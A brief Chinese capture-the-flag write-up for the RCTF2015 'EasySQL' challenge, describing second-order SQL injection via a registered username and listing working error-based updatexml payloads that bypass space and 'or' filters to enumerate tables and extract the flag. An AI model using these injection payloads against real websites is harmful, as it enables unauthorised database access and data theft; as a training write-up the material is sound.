[RCTF2015]EasySQL
猜是一道二次注入的题目,但是找不到源码,就注册个admin‘/’'测试一下。登录以后可以看到我们输入的用户名原封不动地回显给我们,点击修改密码会报错。可以看到是双引号闭合,确定是二次注入。
用报错注入看数据库名,要注意or和空格都被过滤用||和()绕过。
admin"||(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#
admin"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#
admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))#
因为显示的长度不够,real_flag_ls_here这个表里又有很多无用数据xxx,所以正则匹配到了f再输出
admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#
admin"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1))#